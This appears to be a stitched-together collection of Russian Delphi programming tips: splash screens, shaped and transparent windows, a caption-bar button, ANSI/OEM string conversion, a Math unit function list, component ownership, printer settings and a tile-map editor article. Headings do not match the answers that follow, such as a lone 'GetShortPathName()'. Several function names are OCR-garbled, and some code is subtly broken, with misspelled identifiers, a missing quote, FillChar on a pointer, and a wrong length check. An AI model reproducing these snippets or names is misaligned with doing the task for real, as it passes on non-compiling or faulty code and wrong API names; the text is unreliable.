Сделать это не сложно:

1. Создаете форму (например SplashForm).

2. Объявляете ее свободной (availableForms).

3. В Progect Source вставляете следующее (например):

program Splashin;

uses Forms, Main in 'MAIN.PAS', Splash in 'SPLASH.PAS'

{$R *.RES}

begin

 try

  SplashForm := TSplashForm.Create(Application);

  SplashForm.Show;

  SplashForm.Update;

  Application.CreateForm(TMainForm, MainForm);

  SplashForm.Hide;

 finally

  SplashForm.Free;

 end;

 Application.Run;

end.

И форма SplashForm держится на экране пока выполняется Create в главной форме. Но иногда она появляется и пропадает очень быстро, поэтому нужно сделать задержку:

1. Добавляете на форму таймер с событием:

procedure TSplashForm.Timer1Timer(Sender: TObject);

begin

 Timer1.Enabled := False;

end;

2. Событие onCloseQuery для формы:

procedure TSplashForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean);

begin

 CanClose := Not Timer1.Enabled;

end;

3. И перед SplashForm.Hide; ставите цикл:

repeat

 Application.ProcessMessages;

until SplashForm.CloseQuery;

4. Все! Осталось установить на таймере период задержки 3-4 секунды.

5. На последок, у такой формы желательно убрать Caption:

SetWindowLong(Main.Handle,GWL_STYLE, GetWindowLong(Main.Handle, GWL_STYLE) AND NOT WS_CAPTION OR WS_SIZEBOX);

Эта форма имет прозрачный фон!!!

unit unit1;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

  StdCtrls;

type

  TForm1 = class(TForm)

  Button1: TButton;

  Button2: TButton;

    // это просто кнопка на форме - для демонстрации

  protected

    procedure RebuildWindowRgn;

    procedure Resize; override;

  public

    constructor Create(AOwner: TComponent); override;

  end;

var

  Form1 : TForm1;

implementation

// ресурс этой формы

{$R *.DFM}

{ Прозрачная форма }

constructor TForm1.Create(AOwner: TComponent);

begin

  inherited;

  // убираем сколлбары, чтобы не мешались

  // при изменении размеров формы

  HorzScrollBar.Visible:= False;

  VertScrollBar.Visible:= False;

// строим новый регион

  RebuildWindowRgn;

end;

procedure TForm1.Resize;

begin

  inherited;

  // строим новый регион

  RebuildWindowRgn;

end;

procedure TForm1.RebuildWindowRgn;

var

  FullRgn, Rgn: THandle;

  ClientX, ClientY, I: Integer;

begin

// определяем относительные координаты клиенской части

  ClientX:= (Width - ClientWidth) div 2;

  ClientY:= Height - ClientHeight - ClientX;

  // создаем регион для всей формы

  FullRgn:= CreateRectRgn(0, 0, Width, Height);

  // создаем регион для клиентской части формы

  // и вычитаем его из FullRgn

  Rgn:= CreateRectRgn(ClientX, ClientY, ClientX + ClientWidth, ClientY +

ClientHeight);

  CombineRgn(FullRgn, FullRgn, Rgn, rgn_Diff);

// теперь добавляем к FullRgn регионы каждого контрольного элемента

  for I:= 0 to ControlCount -1 do

    with Controls[I] do begin

      Rgn:= CreateRectRgn(ClientX + Left, ClientY + Top, ClientX + Left +

Width, ClientY + Top + Height);

      CombineRgn(FullRgn, FullRgn, Rgn, rgn_Or);

    end;

// устанавливаем новый регион окна

  SetWindowRgn(Handle, FullRgn, True);

end;

end.

А как Вам понравится эта форма ?

unit rgnu;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

  Buttons, Menus;

type

  TForm1 = class(TForm)

    procedure FormCreate(Sender: TObject);

    procedure Button1Click(Sender: TObject);

    procedure FormPaint(Sender: TObject);

  private

    { Private declarations }

    rTitleBar : THandle;

    Center    : TPoint;

    CapY   : Integer;

    Circum    : Double;

    SB1       : TSpeedButton;

    RL, RR    : Double;

    procedure TitleBar(Act : Boolean);

    procedure WMNCHITTEST(var Msg: TWMNCHitTest);

      message WM_NCHITTEST;

    procedure WMNCACTIVATE(var Msg: TWMNCACTIVATE);

      message WM_NCACTIVATE;

    procedure WMSetText(var Msg: TWMSetText);

      message WM_SETTEXT;

  end;

var

  Form1: TForm1;

implementation

{$R *.DFM}

CONST

  TitlColors : ARRAY[Boolean] OF TColor =

    (clInactiveCaption, clActiveCaption);

  TxtColors : ARRAY[Boolean] OF TColor =

    (clInactiveCaptionText, clCaptionText);

procedure TForm1.FormCreate(Sender: TObject);

VAR

  rTemp, rTemp2    : THandle;

  Vertices : ARRAY[0..2] OF TPoint;

  X, Y     : INteger;

begin

  Caption := 'OOOH! Doughnuts!';

  BorderStyle := bsNone; {required}

  IF Width > Height THEN Width := Height

  ELSE Height := Width;  {harder to calc if width <> height}

  Center  := Point(Width DIV 2, Height DIV 2);

  CapY := GetSystemMetrics(SM_CYCAPTION)+8;

  rTemp := CreateEllipticRgn(0, 0, Width, Height);

  rTemp2 := CreateEllipticRgn((Width DIV 4), (Height DIV 4),

    3*(Width DIV 4), 3*(Height DIV 4));

  CombineRgn(rTemp, rTemp, rTemp2, RGN_DIFF);

  SetWindowRgn(Handle, rTemp, True);

  DeleteObject(rTemp2);

  rTitleBar  := CreateEllipticRgn(4, 4, Width-4, Height-4);

  rTemp := CreateEllipticRgn(CapY, CapY, Width-CapY, Height-CapY);

  CombineRgn(rTitleBar, rTitleBar, rTemp, RGN_DIFF);

  Vertices[0] := Point(0,0);

  Vertices[1] := Point(Width, 0);

  Vertices[2] := Point(Width DIV 2, Height DIV 2);

  rTemp := CreatePolygonRgn(Vertices, 3, ALTERNATE);

  CombineRgn(rTitleBar, rTitleBar, rTemp, RGN_AND);

  DeleteObject(rTemp);

  RL := ArcTan(Width / Height);

  RR := -RL + (22 / Center.X);

  X := Center.X-Round((Center.X-1-(CapY DIV 2))*Sin(RR));

  Y := Center.Y-Round((Center.Y-1-(CapY DIV 2))*Cos(RR));

  SB1 := TSpeedButton.Create(Self);

  WITH SB1 DO

    BEGIN

      Parent     := Self;

      Left       := X;

      Top        := Y;

      Width      := 14;

      Height     := 14;

      OnClick    := Button1Click;

      Caption    := 'X';

      Font.Style := [fsBold];

    END;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

  Close;

End;

procedure TForm1.WMNCHITTEST(var Msg: TWMNCHitTest);

begin

  Inherited;

  WITH Msg DO

    WITH ScreenToClient(Point(XPos,YPos)) DO

      IF PtInRegion(rTitleBar, X, Y) AND

       (NOT PtInRect(SB1.BoundsRect, Point(X,Y))) THEN

        Result := htCaption;

end;

procedure TForm1.WMNCActivate(var Msg: TWMncActivate);

begin

  Inherited;

  TitleBar(Msg.Active);

end;

procedure TForm1.WMSetText(var Msg: TWMSetText);

begin

  Inherited;

  TitleBar(Active);

end;

procedure TForm1.TitleBar(Act: Boolean);

VAR

  TF      : TLogFont;

  R       : Double;

  N, X, Y : Integer;

begin

  IF Center.X = 0 THEN Exit;

  WITH Canvas DO

    begin

      Brush.Style := bsSolid;

      Brush.Color := TitlColors[Act];

      PaintRgn(Handle, rTitleBar);

      R  := RL;

      Brush.Color := TitlColors[Act];

      Font.Name := 'Arial';

      Font.Size := 12;

      Font.Color := TxtColors[Act];

      Font.Style := [fsBold];

      GetObject(Font.Handle, SizeOf(TLogFont), @TF);

      FOR N := 1 TO Length(Caption) DO

        BEGIN

          X := Center.X-Round((Center.X-6)*Sin(R));

          Y := Center.Y-Round((Center.Y-6)*Cos(R));

          TF.lfEscapement := Round(R * 1800 / pi);

          Font.Handle := CreateFontIndirect(TF);

          TextOut(X, Y, Caption[N]);

          R := R - (((TextWidth(Caption[N]))+2) / Center.X);

          IF R < RR THEN Break;

        END;

      Font.Name := 'MS Sans Serif';

      Font.Size := 8;

      Font.Color := clWindowText;

      Font.Style := [];

    end;

end;

procedure TForm1.FormPaint(Sender: TObject);

begin

  WITH Canvas DO

    BEGIN

      Pen.Color := clBlack;

      Brush.Style := bsClear;

      Pen.Width := 1;

      Pen.Color := clWhite;

      Arc(1, 1, Width-1, Height-1, Width, 0, 0, Height);

      Arc((Width DIV 4)-1, (Height DIV 4)-1,

        3*(Width DIV 4)+1, 3*(Height DIV 4)+1, 0, Height, Width, 0);

      Pen.Color := clBlack;

      Arc(1, 1, Width-1, Height-1, 0, Height, Width, 0);

      Arc((Width DIV 4)-1, (Height DIV 4)-1,

        3*(Width DIV 4)+1, 3*(Height DIV 4)+1, Width, 0, 0, Height);

      TitleBar(Active);

    END;

end;

end.

GetShortPathName()

Непосредственно такой функции вроде нет, но можно изловчиться. Нарисовать там кнопку вручную и обрабатывать команды нажатия мышки на Caption Bar.

Пример.

unit Main;

interface

uses

  Windows, Buttons, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type

  TForm1 = class(TForm)

    procedure FormResize(Sender: TObject);

  private

    CaptionBtn : TRect;

    procedure DrawCaptButton;

    procedure WMNCPaint(var Msg : TWMNCPaint); message WM_NCPaint;

    procedure WMNCActivate(var Msg : TWMNCActivate); message WM_NCACTIVATE;

    procedure WMSetText(var Msg : TWMSetText); message WM_SETTEXT;

    procedure WMNCHitTest(var Msg : TWMNCHitTest); message WM_NCHITTEST;

    procedure WMNCLButtonDown(var Msg : TWMNCLButtonDown); message WM_NCLBUTTONDOWN;

  public

   { Public declarations }

  end;

var

  Form1: TForm1;

implementation

const

  htCaptionBtn = htSizeLast + 1;

{$R *.DFM}

procedure TForm1.DrawCaptButton;

var

  xFrame,  yFrame,  xSize,  ySize  : Integer;

  R : TRect;

begin

  //Dimensions of Sizeable Frame

  xFrame := GetSystemMetrics(SM_CXFRAME);

  yFrame := GetSystemMetrics(SM_CYFRAME);

  //Dimensions of Caption Buttons

  xSize  := GetSystemMetrics(SM_CXSIZE);

  ySize  := GetSystemMetrics(SM_CYSIZE);

  //Define the placement of the new caption button

  CaptionBtn := Bounds(Width - xFrame - 4*xSize + 2,

                       yFrame + 2, xSize - 2, ySize - 4);

//Get the handle to canvas using Form's device context

  Canvas.Handle := GetWindowDC(Self.Handle);

  Canvas.Font.Name := 'Symbol';

  Canvas.Font.Color := clBlue;

  Canvas.Font.Style := [fsBold];

  Canvas.Pen.Color := clYellow;

  Canvas.Brush.Color := clBtnFace;

  try

    DrawButtonFace(Canvas, CaptionBtn, 1, bsAutoDetect, False, False, False);

    //Define a smaller drawing rectangle within the button

    R := Bounds(Width - xFrame - 4 * xSize + 2,

                       yFrame + 3, xSize - 6, ySize - 7);

    with CaptionBtn do

      Canvas.TextRect(R, R.Left + 2, R.Top - 1, 'W');

  finally

    ReleaseDC(Self.Handle, Canvas.Handle);

    Canvas.Handle := 0;

  end;

end;

procedure TForm1.WMNCPaint(var Msg : TWMNCPaint);

begin

  inherited;

  DrawCaptButton;

end;

procedure TForm1.WMNCActivate(var Msg : TWMNCActivate);

begin

  inherited;

  DrawCaptButton;

end;

procedure TForm1.WMSetText(var Msg : TWMSetText);

begin

  inherited;

  DrawCaptButton;

end;

procedure TForm1.WMNCHitTest(var Msg : TWMNCHitTest);

begin

  inherited;

  with Msg do

    if PtInRect(CaptionBtn, Point(XPos - Left, YPos - Top)) then

      Result := htCaptionBtn;

end;

procedure TForm1.WMNCLButtonDown(var Msg : TWMNCLButtonDown);

begin

  inherited;

  if (Msg.HitTest = htCaptionBtn) then

    ShowMessage('You hit the button on the caption bar');

end;

procedure TForm1.FormResize(Sender: TObject);

begin

//Force a redraw of caption bar if form is resized

  Perform(WM_NCACTIVATE, Word(Active), 0);

end;

end.

Эта версия работает под любым Delphi.

(Начиная с Delphi 2, это можно записать короче с использованием AnsiToOem и OemToAnsi.)

Здесь все просто.

function ConvertAnsiToOem(const S : string) : string;

{ ConvertAnsiToOem translates a string into the OEM-defined character set }

{$IFNDEF WIN32}

var

  Source, Dest : array[0..255] of Char;

{$ENDIF}

begin

{$IFDEF WIN32}

  SetLength(Result, Length(S));

  if Length(Result) > 0 then

    AnsiToOem(PChar(S), PChar(Result));

{$ELSE}

  if Length(Result) > 0 then

  begin

    AnsiToOem(StrPCopy(Source, S), Dest);

    Result := StrPas(Dest);

  end;

{$ENDIF}

end; { ConvertAnsiToOem }

function ConvertOemToAnsi(const S : string) : string;

{ ConvertOemToAnsi translates a string from the OEM-defined

  character set into either an ANSI or a wide-character string }

{$IFNDEF WIN32}

var

  Source, Dest : array[0..255] of Char;

{$ENDIF}

begin

{$IFDEF WIN32}

  SetLength(Result, Length(S));

  if Length(Result) > 0 then

    OemToAnsi(PChar(S), PChar(Result));

{$ELSE}

  if Length(Result) > 0 then

  begin

    OemToAnsi(StrPCopy(Source, S), Dest);

    Result := StrPas(Dest);

  end;

{$ENDIF}

end; { ConvertOemToAnsi }

{------------------------------------------}

{ Returns the status of the Insert key. }

{------------------------------------------}

function InsertOn: Boolean;

begin

 if LowOrderBitSet(GetKeyState(VK_INSERT)) then InsertOn := true

 else InsertOn := false

end;

Здесь я привожу полный список всех функций и процедур модуля Math. При переходе от Delphi 2 к Delphi 3 модуль Math почти не изменился, фирма Borland ввела в него только три новые функции: MaxIntValue, MInIntValue и Sumint. Эти функции отличаются от своих прототипов (MaxValue, MInValue и Sum) лишь тем, что работают исключительно с целыми числами, не принимая и не возвращая величин с плавающей точкой. Что касается остальных функций, то большинство из них вполне очевидно. Если вам покажется иначе — что ж, садитесь за исследования. И не надейтесь, что все тайны Delphi достанутся вам на блюдечке в виде help-файла!

Тригонометрические функции и процедуры

ArcCos — Арккосинус

ArcCosh — Пиперболический арккосинус

ArcSIn — Арксинус

ArcSInh — Гиперболический арксинус

ArcTahn — Гиперболический арктангенс

ArcTan2 — Арктангенс с учетом квадранта (функция ArcTan, не учитывающая квадрант, находится в модуле System)

Cosh — Гиперболический косинус

Cotan — Котангенс

CycleToRad — Преобразование циклов в радианы

DegToRad — Преобразование градусов в радианы

GradToRad — Преобразование градов в радианы

Hypot — Вычисление гипотенузы прямоугольного треугольника по длинам катетов

RadToCycle — Преобразование радианов в циклы

RadToDeg — Преобразование радианов в градусы

RacIToGrad — Преобразование радианов в грады

SinCos — Вычисление синуса и косинуса угла. Как и в случае SumAndSquares и MeanAndStdDev, одновременная генерация обеих величин происходит быстрее

Sinh — Гиперболический синус

Tan — Тангенс

Tanh — Гиперболический тангенс

Арифметические функции и процедуры

Cell — Округление вверх

Floor — Округление вниз

Frexp — Вычисление мантиссы и порядка заданной величины

IntPower — Возведение числа в целую степень. Если вы не собираетесь пользоваться экспонентами с плавающей точкой, желательно использовать эту функцию из-за ее скорости

Ldexp — Умножение Х на 2 в заданной степени

LnXPI — Вычисление натурального логарифма Х+1. Рекомендуется для X, близких к нулю

LogN — Вычисление логарифма Х по основанию N

LogIO — Вычисление десятичного логарифмах

Log2 — Вычисление двоичного логарифмах

Power — Возведение числа в степень. Работает медленнее IntPower, но для операций с плавающей точкой вполне приемлемо

Финансовые функции и процедуры

DoubleDecliningBalance — Вычисление амортизации методом двойного баланса

FutureValue — Будущее значение вложения

InterestPayment — Вычисление процентов по ссуде

InterestRate — Норма прибыли, необходимая для получения заданной суммы

InternalRateOfReturn — Вычисление внутренней скорости оборота вложения для ряда последовательных выплат

NetPresentValue — Вычисление чистой текущей стоимости вложения для ряда последовательных выплат с учетом процентной ставки

NumberOf Periods — Количество периодов, за которое вложение достигнет заданной величины

Payment — Размер периодической выплаты, необходимой для погашения ссуды, при заданном числе периодов, процентной ставке, а также текущем и будущем значениях ссуды

PerlodPayment — Платежи по процентам за заданный период

PresentValue — Текущее значение вложения

SLNDepreclatlon — Вычисление амортизации методом постоянной нормы

SYDepreclatlon — Вычисление амортизации методом весовых коэффициентов

Статистические функции и процедуры

MaxIntValue — Максимальное значение в наборе целых чисел. Функция появилась в Delphi 3. ее не существует в Delphi 2

MaxValue — Максимальное значение в наборе чисел. В Delphi 2 функция возвращает минималъное значение

Mean — Среднее арифметическое для набора чисел

MeanAndStdDev — Одновременное вычисление среднего арифметического и стандартного отклонения для набора чисел. Вычисляется быстрее, чем обе величины по отдельности

MinIntValLie — Минимальное значение в наборе целых чисел. Функция появилась в Delphi 3, ее не существует в Delphi 2

MInValue — Минимальное значение в наборе чисел. В Delphi 2 функция возвращает максимальное значение

MoiiientSkewKurtosIs — Статистические моменты порядков с первого по четвертый, а также асимметрия (skew) и эксцесс (kurtosis) для набора чисел

Norm — Норма для набора данных (квадратный корень из суммы квадратов)

PopnStdDev — Выборочное стандартное отклонение. Отличается от обычного стандартного отклонения тем, что при вычислениях используется выборочное значение дисперсии, PopnVarlance (см. ниже)

PopnVarlance — Выборочная дисперсия. Использует "смещенную" формулу TotalVanance/n

RandG — Генерация нормально распределенных случайных чисел с заданным средним значением и среднеквадратическим отклонением

StdDev — Среднеквадратическое отклонение для набора чисел

Sum — Сумма набора чисел

SLimsAndSquares — Одновременное вычисление суммы и суммы квадратов для набора чисел. Как и в других функциях модуля Math, обе величины вычисляются быстрее, чем по отдельности

Sumint — Сумма набора целых чисел. Функция появилась в Delphi 3, ее не существует в Delphi 2

SLimOfSquares — Сумма квадратов набора чисел

Total Variance — "Полная дисперсия" для набора чисел. Это сумма квадратов расстояний всех величин от их среднего арифметического

Variance — Выборочная дисперсия для набора чисел. Функция использует "несмещенную" формулу TotalVanапсе/ (n – 1)

У меня такая проблема: я пишу компонент, который внутри себя создаёт другой компонент. Конструктор первого компонента выглядит примерно так: 

constructor TFirstComp.Create(AOwner:TComponent);

begin

 inherited Create(AOwner);

 SecondComp:=TSecondComp.Create(Owner)

end;

Проблема заключается в том, что при помещении первого компонента на форму в dfm-файл записывается информация и о втором компоненте тоже. А в pas-файл — только о первом. Это приводит к конфликтам. Для меня принципиально, чтобы хозяин у второго компонента был тот же, что и у первого. Как не дать Delphi поместить запись о TSecondComp в dfm-файл? 

Попробуйте сделать так: 

constructor TFirstComp.Create(AOwner:TComponent);

begin

 inherited Create(AOwner);

 SecondComp:=TSecondComp.Create(SELF);

end;

Т.е. дочернему компоненту в качастве владельца передавайте его непосредственного хозяина.

Посмотрите компонент RichEdit98 (полностью бесплатный). ftp://ftp.bcsmi.minsk.by/alex/

При увеличении размера компонента TImage в RunTime пытаюсь рисовать заново на всем поле, но отображается только часть компонента (прежнего размера). В чем дело?

Ответ: Нужно при инициализации выполнить SetBounds(), с максимальными размерами.

Обнаружил, что компонент QReport никак не реагирует на установки принтера PrinterSetup диалога, вызываемого нажатием кнопочки собственного Preview!

В QuickReport есть собственный объект TQRPrinter, установки которого он использует при печати, а стандартные установки принтеров на него не влияют. В диалоге PrinterSetup, вызываемом из Preview можно лишь выбрать принтер на который нужно печатать (если, конечно, установлено несколько принтеров).

Советую поставить обновление QReport на 2.0J с www.qusoft.com.

Перед печатью (не только из QReport) программно установите требуемый драйвер принтера текущим для Windows

function SetDefPrn(const stDriver : string) : boolean;

begin

 SetPrinter(nil).Free;

 Result := WriteProfileString('windows', device', PChar( stDriver));

end;

После печати восстановите установки.

Довелось мне как-то озадачиться идеей написать редактор карт для моей новой игры. Скажу сразу, что задача эта не из простых. Приступим сразу к делу. Как правило, в двумерных стратегических играх типа Warcraft, Heroes of Might and Magic, Z и т. д. карты строятся из ячеек. Иными словами, карта — это матрица с некоторыми числовыми значениями внутри ячеек. Эти значения есть номера текстур (растровых картинок с изображениями земли, воды, камней и т. д., из которых и будет склеиваться Ваш уникальный ландшафт)

Рисунок 1

На рисунке изображена ну очень маленькая карта с размером матрицы 3×3. Для создания подобной карты задается двумерный массив ( Map : Array[3,3] of Byte ), записываются, каким-либо образом, в каждую ячейку порядковые номера текстур и при выводе карты на экран эти номера читаются из массива. Ну например:

…

For i := 0 to 2 do

 For j := 0 to 2 do Begin

  Number := Map[i,j];

  X := J * TextureWidth;

  Y := i * TextureHeight;

  DrawTexture(X,Y,Number);

 End;

…

Где Number – номер текстуры,

Х – координата текстуры на экране,

Y – то же самое,

DrawTexture – некая процедура вывода текстуры на экран.

Совет!!!

Если Вам заранее не известно из какого количества ячеек будет состоять Ваша карта, не используйте Tlist в Tlist'e для ее создания. Советую воспользоваться PbyteArray.

( GetMem(PbyteArray,MapWidth*MapHeight*SizeOf(Тип ячейки)) ).

Тип ячейки в нашем случае – Byte. Обращение в этом случае будет таким: Number := PbyteArray[Y*MapWidth + X]; Где X,Y – координаты нужной ячейки в матрице.

Все что мы рассмотрели выше подходит для карт на основе только лишь одного типа земли. Взгляните на рисунок расположенный выше. Вы увидите, что поскольку все текстуры разные — карта как-бы состоит из квадратиков. Кому она такая нужна? Хочется чтобы эти текстуры плавно перетекали друг в друга. Отсюда есть три выхода:

• Создавать карту из текстур мало отличающихся друг от друга и при рисовании карты выбирать их случайным образом.

• Налепить целю кучу "пересекающихся" между собой текстур и класть их на карту вручную.

• Так же налепить ту же кучу текстур и написать программу позволяющую автоматически распределять их на карте.

Первый способ не очень интересен. Он скорее подходит для создания ролевых игр. Где, как правило, присутствует базовый тип земли, а все остальное, такое как вода, камни, травка представляется объектами. Второй способ легок по реализации, но очень утомительно будет потом создавать карты в таком редакторе.

Посмотрите на рисунок. Если у Вас вся карта состоит из текстур с травой, а Вам надо добавить участок воды, то мы видим, что для того чтобы добиться плавного перетекания Вам придется добавить еще 8 промежуточных текстур окружающих текстуру с водой. Если делать это вручную (по второму способу), то это займет слишком много времени и сил. Поэтому нам второй способ тоже не подходит. Мы остановимся на третьем способе и будем создавать карту подобно тому, как это происходит в WarCraft'e. При добавлении текстуры на карту (фактически — записи номера текстуры в определенную ячейку матрицы), окружающие ее текстуры будут рассчитываться автоматически. Как этого добиться?

Рисунок 2

Я достаточно долго ломал голову над этой проблемой. Я пытался найти какой-нибудь способ позволяющий не утруждать компьютер громоздкими вычислениями и работать максимально быстро и эффективно. Один раз я даже вывел формулу, по которой рассчитывались новые значения ячеек, но она увы имела ограниченное действие (только 2 типа земли) и плохо подходила для создания карт, где требуется максимальное разнообразие. Но достаточно лирики, давайте вернемся к нашим баранам.

Прежде всего необходимо выяснить — какое количество переходных текстур нам понадобится для обеспечения плавного перетекания между двумя типами земель. Здесь есть свои тонкости.

Представим, что у нас имеется два типа земли: ВОДА и ЗЕМЛЯ, тогда: Во-первых нам понадобятся две базовых текстуры, это текстуры полностью заполненные водой или землей.

Рисунок 3

Во вторых нам понадобятся промежуточные текстуры. Сколько их нужно мы сейчас посчитаем.

Рисунок 4

Оказалось, что для плавного перетекания двух земель друг в друга надо 14 промежуточных текстур, плюс две базовых. Итого 16. Всякий программист знает, что это хорошая цифра.

Возможно кто-то спросит: А зачем так много? Не достаточно ли 8 текстур, как на рисунке 2 — где трава пересекается с водой? Нет не достаточно. Ведь ситуации бывают разные. Окружающие ячейки могут быть не полностью забиты травой ( в данном случае землей ), и тогда понадобятся дополнительные текстуры.

Тогда может последовать другой вопрос: Почему так мало текстур? Где например текстуры когда вода с трех сторон окружена землей, и с четырех, и другие? Не следует ли предусмотреть все случаи?

И это правильный вопрос, но здесь все зависит от конкретной реализации алгоритма автоматического вычисления необходимой текстуры. В моем примере он реализован так, что остальные текстуры не нужны. Объясню наглядно:

1. Текстуры воды окруженные землей с двух противоположных сторон превращаются в базовую текстуру земли (в текстуру заполненную только землей). Соответственно то же самое происходит когда вода окружена с трех или четырех сторон.

Рисунок 5

2. Текстуры воды окруженные с двух уголков на одной стороне превращаются в текстуры полностью окруженные землей с одной стороны. (если уголки с трех сторон, то вода оказывается окружена полностью с двух сторон, если уголков 4, то вода превращается в землю совсем).

Теперь, я надеюсь, все ясно. С помощью применения подобной техники количество промежуточных текстур удалось уменьшить ровно в два раза! Это существенная экономия памяти, особенно если учесть, что типов земель будет больше. Кстати в WarCraft'e, если я не ошибаюсь, используется такой же набор текстур.

Ну хорошо, теперь давайте еще посчитаем. Для "слияния" двух земель нам понадобилось 16 текстур. Но если к земле и воде добавить еще траву, то придется создавать также переходные текстуры для трава-земля и трава-вода. Это еще 32 текстуры. Добавим еще каменистую почву( надо же сделать карту разнообразнее). Еще 48 текстур. И так далее и так далее. А если мы хотим сделать несколько видов одной и той же текстуры( опять таки для разнообразия )? Количество текстур растет как на дрожжах. Что делать?

Но тут на помощь пришел опять-таки старый, добрый, затертый до дыр мышкой WarCraft. Никогда не замечали, что если в WarCraft'e, вернее в War Editor'e, "кладешь" воду на траву, то между травой и водой появляется прослойка земли? Вот и я заметил.

Рисунок 6а

Рисунок 6б

Посмотрите на эти два рисунка. Из них видно, что вода граничит только с землей, трава тоже граничит только с землей. Земля в данном случае является "переходным" типом земли. Достаточно создать текстуры вода-земля, трава-земля, камни-земля, песок-земля и т. д. По 16 штук на каждую землю и все. Можно больше не беспокоится. Земли будут соединяться между собой через "переходный" тип земли. Спасибо WarCraft'у.

Итак, с количеством текстур и тем какими они должны быть мы разобрались, и вот наконец-то мы приступаем к самой реализации данной задачи.

Условимся, что:

1. Ячейку с номером 12 я буду называть активной или текущей.

2. Землю которой мы рисуем я также буду называть активной или текущей.

3. Землю которая была прежде была в ячейке 12 я буду называть прежней.

4. Ячейки под номерами 6,7,8,11,13,16,17,18 я буду называть первым кругом.

5. Ячейки под номером 0,1,2,3,4,5,9,10,14,15,19,20,21,22,23,24 я буду называть вторым кругом.

6. Все текстуры имеющие в себе участок некоторого типа кроме переходного есть эта земля. То есть, к примеру, ячейки в первом круге – это вода.(см. Рисунок 6б)

Пусть для данного примера у нас будет три типа земли: ВОДА, ТРАВА, КАМНИ. Плюс переходный тип — ЗЕМЛЯ. Нам понадобится 48 текстур. Почему 48, а не 64? — спросите вы, — ведь типов-то 4. Потому, что переходный тип и так есть в каждом из трех первых типов, в промежуточных текстурах.

Допустим, что текстуры у Вас будут храниться в компоненте ImageList, для нашего случая это удобнее всего. Разместим мы их следующим образом: за номером 0 будет располагаться цельная текстура воды, номера 1–14 займут промежуточные текстуры ВОДА–ЗЕМЛЯ (как на Рисунке 4), номер 15 займет цельная текстура ЗЕМЛИ. Следующий элемент ТРАВА займет номера 16–31 по тому же принципу, элемент КАМНИ займет номера с 32–47. Как Вы наверное заметили, номера 15,31,47 оказываются заняты одинаковыми цельными текстурами земли. Их можно сделать немного отличающимися друг от друга для обеспечения большего разнообразия, а затем выбирать случайным образом.

Введем базовые индексы типов земель. Пусть базовый индекс воды равен 0, базовый индекс травы равен 1, камней — 2. Тогда, узнав порядковый номер текстуры, мы можем выяснить какому типу земли она принадлежит, достаточно разделить целочисленным делением (Div) порядковый номер текстуры на 16. Если же мы разделим этот номер делением по остатку (Mod) на 16, то узнаем смещение или номер промежуточной текстуры внутри интервала номеров принадлежащего данному типу земли. Например, мы обратились к ячейке и получили номер 23. Поделив этот номер целочисленным делением на 16 получим 1. Это тип земли — ТРАВА. Поделив делением по модулю остатка на 16 получим 7. Это номер промежуточной текстуры.(См. Рисунок 4, только в данном случае была бы трава с землей) Заметьте, если бы вместо 7 мы получили 0, это означало бы цельную текстуру данной земли, 15 означало бы цельную текстуру переходного типа — ЗЕМЛЯ.

Теперь давайте немного попишем:

PMap : PbyteArray; // указатель на матрицу содержащую нашу карту

WorldWidth, WorldHeight : Integer; // Ширина и высота карты в ячейках

Procedure createnewmap(worldwidth,worldheigth : integer);

Begin // Выделение памяти под матрицу

 GetMem(pMap,WodrldWidth*WorldHeight);

 // Заполнение этого участка нулями

 FillChar(pMap,WorldWidth*WorldHeight,0);

End;

funcion getelement(x,y : integer):byte;

Begin // Получить значение ячейки

 Result := pMap[y*WorldWidth + x];

End;

Procedure putelement(x,y : integer; index : byte);

Begin // Записать значение в ячейку

 PMap[y*WorldWidth + x] := Index;

End;

Function getbaseindex(index : byte): byte;

Begin // Получить тип земли в виде номера(индекса)

 Result := Index div 16;

End;

Function getadditionalindex(index : byte):byte;

Begin // Получить номер переходной текстуры

 Result := Index mod 16;

End;

Вот. Вспомогательные функции мы написали, перейдем к рассмотрению технологии.

Посмотрите на Рисунок 6(б). Видно, что когда мы заменяем значение одной ячейки, эти изменения влияют, как на первый так и на второй круги ячеек. Возникает резонный вопрос: не случится ли такой ситуации, когда помещение на карту новой текстуры потребует перерисовки всей карты, так, словно кто-то бросил камень в воду? Если следовать принципам изложенным в этой статье, то не случится. Я проверял все варианты. Изменения касаются лишь первого и второго круга. Кто не верит, может проверить, посчитать, прикинуть, но это займет много времени. Теперь мы подходим к главному — по какому принципу рассчитывать новые значения изменяемых текстур. Возможно я Вас немного удивлю, но рассчитывать нам больше ничего не придется. Нам понадобится создать три массива (таблицы) 16 на 25 элементов, записать в них заранее расчитанные значения, а затем их считывать в ходе выполнения программы. Сейчас поясню.

Поскольку в общей сумме у нас по максимуму может измениться 25 элементов на карте (Рисунок 6(б)), мы создадим вспомогательную матрицу 5х5, куда будем считывать с карты значения соответствующих ячеек. Затем мы изменим значения в этой матрице и поместим ее снова на карту откуда взяли.

В каждой ячейке может быть следующее значение:

Index + GroundIndex*16 , где

Index — число от 0 до 15 указывающее на номер переходной текстуры. GroundIndex — число от 0 до 2 указывающее на тип земли — ВОДА, ТРАВА, КАМНИ

Итак мы знаем номер лежащей в ячейке переходной текстуры (GetAdditionalIndex), мы также знаем номер этой ячейки в матрице 5×5. Этого вполне достаточно. Мы создадим массив-таблицу ширина которого равна количеству возможных переходных текстур 16, а высота равна количеству ячеек в матрице 5×5=25. Дальше мы действуем следующим образом: Считываем в матрицу 5×5 участок карты центром которого является ячейка в которую мы "кладем" новую землю, в ячейку 12 кладем цельную текстуру той земли которой мы рисуем. Затем для всех ячеек матрицы 5×5 кроме 12-ой делаем следующее: Поучаем номер переходной текстуры (GetAdditionalIndex) и обращаемся к таблице 16×25. Где номер переходной текстуры это положение ячейки таблицы 16×25 по горизонтали, а номер ячейки в матрице 5×5 это положение ячейки таблицы 16×25 по вертикали. На рисунке 7, цифра 6 по горизонтали это GetAdditionalIndex от текстуры, которая прячется в матрице 5×5 в ячейке номер 17, а "Х" в красной клетке это тот самый новый номер для этой текстуры. Фактически смысл сводится к следующему: посмотрели какая была текстура — заглянув в таблицу, узнали какая стала.

Рисунок 7

Вы наверное спросите — а как узнать какие значения должны быть в таблице 16×25? Никак. Они рассчитываются в уме и записываются в таблицу ручками. Но вы можете не задумываться над этим, я уже рассчитал и записал их в своем примере. Смотрите в исходниках.

